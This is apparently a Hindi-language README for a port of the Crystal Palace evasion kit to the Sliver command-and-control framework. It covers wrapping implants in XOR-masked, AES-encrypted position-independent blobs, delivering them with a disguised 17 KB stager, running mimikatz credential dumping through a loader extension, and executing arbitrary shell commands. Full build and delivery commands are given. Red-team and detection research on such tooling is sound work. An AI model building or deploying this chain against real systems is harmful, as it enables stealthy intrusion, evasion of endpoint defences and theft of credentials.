Sliver के लिए Crystal Palace एवेज़न किट
Crystal Palace evasion किट Sliver C2 पर पोर्ट की गई।
यह rasta-mouse के Crystal-Kit (Cobalt Strike) का Sliver के लिए पहला सार्वजनिक पोर्ट है। यह Crystal-Kit-Xenon (Mythic) द्वारा सिद्ध उसी cross-C2 पैटर्न का अनुसरण करता है।
Sliver के डिफ़ॉल्ट reflective loader और post-ex निष्पादन पथ को Crystal Palace (Raphael Mudge, BSD) से प्रतिस्थापित करता है। परिणाम एक position-independent code (PICO) blob है जो निम्न को बंडल करता है:
LoadLibrary / GetProcAddress के बिना)VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryA पर IAT हुकSliver implant DLL (या कोई भी post-ex DLL) PICO के अंदर XOR-मास्क होता है और निष्पादन के समय केवल मेमोरी में अनमास्क किया जाता है।
कच्चा Sliver implant DLL लक्ष्य पर सीधे कभी निष्पादित नहीं होता। इसके बजाय इसे Crystal Palace के साथ एक PICO में लपेटा जाता है, AES-256-CBC एन्क्रिप्ट किया जाता है, और एक कस्टम stager (~17 KB) के साथ डिलीवर किया जाता है जो इसे मेमोरी में डिक्रिप्ट व निष्पादित करता है।
sliver-server generate --format shared → impl.dll
│
▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
│
▼
bundle-stager.sh → csvchelper.exe (~17 KB, no embedded payload)
→ payload.dat (~36 MB AES-256-CBC ciphertext)
│
▼ deliver BOTH files to same directory on target
▼
Windows VM: csvchelper.exe
│
▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
एक बार सत्र सक्रिय हो जाने पर, Sliver Extension के माध्यम से Crystal Palace के जरिए संवेदनशील DLL (recon, credential dumpers, आदि) चलाएँ।
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin
पुनर्निर्माण (rebuild) के बिना runtime args पास करने के लिए उन्हें | के बाद जोड़ें:
sliver > crystal --payload C:/path/file.pico.bin|args here
crystal-loader.x64.dll एक Sliver DLL Extension है जो PICO blob को डिस्क से VirtualAlloc(RW) क्षेत्र में पढ़ता है, VirtualProtect के साथ इसे RX में बदलता है, और Crystal Palace entrypoint पर जाता है। कभी भी PAGE_EXECUTE_READWRITE मैपिंग नहीं रखी जाती। पथ forward slashes का उपयोग करते हैं। Arg प्रारूप type:string है (BOF binary नहीं)। DLL को Sliver द्वारा मेमोरी में लोड किया जाता है — इसे लक्ष्य डिस्क पर फ़ाइल के रूप में नहीं लिखा जाता।
crystal-exec उसी extension में बंडल किया गया दूसरा कमांड है। यह extension DLL में सीधे एम्बेडेड PICO का उपयोग करके Crystal Palace evasion के माध्यम से मनमाने shell कमांड चलाता है — अपलोड करने के लिए कोई PICO फ़ाइल नहीं।
sliver > crystal-exec --cmd "whoami /all"
आउटपुट पाइप के माध्यम से मौजूदा Sliver सत्र पर ऑपरेटर को लौटाया जाता है। जब आपको पूर्ण post-ex DLL की आवश्यकता नहीं होती, तो यह एकल (one-off) shell कमांड के लिए सबसे तेज़ तरीका है।
crystal-kit-sliver/
├── loader/ ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
├── postex-loader/ ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
├── libtcg.x64.zip ← Upstream binary dependency (kept in tree for build convenience)
└── sliver-glue/ ← Sliver-specific build glue
├── extension.json Sliver Extension manifest
├── generate.sh Wrap a post-ex DLL → PICO (Use case B)
├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A)
├── bundle-implant.sh Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
├── bundle-stager.sh Build custom stager: csvchelper.exe + payload.dat (primary)
├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball
├── Makefile make objects / package / clean
├── stager/ Custom stager sources (AES-256-CBC, asInvoker manifest)
└── wrapper/ crystal-loader.c (BOF-compat DLL wrapper)
docs/
├── RUNBOOK.md Step-by-step Kali → Windows lab procedure
├── PORTING_MAP.md File-by-file mapping Crystal-Kit → this repo + literal diffs
└── TOOLCHAIN.md Build prerequisites and pipeline details
# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. Build everything
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all
# 4. Use case A — wrap a Sliver implant and build the stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)
# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# With baked-in args: postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh
# 6. crystal-exec — rebuild the built-in command executor (only needed after modifying crystalexec.c)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh
पूर्ण ऑपरेटर प्रक्रिया के लिए docs/RUNBOOK.md देखें (Sliver इंस्टॉल, listener सेटअप, लक्ष्य निष्पादन, समस्या निवारण)।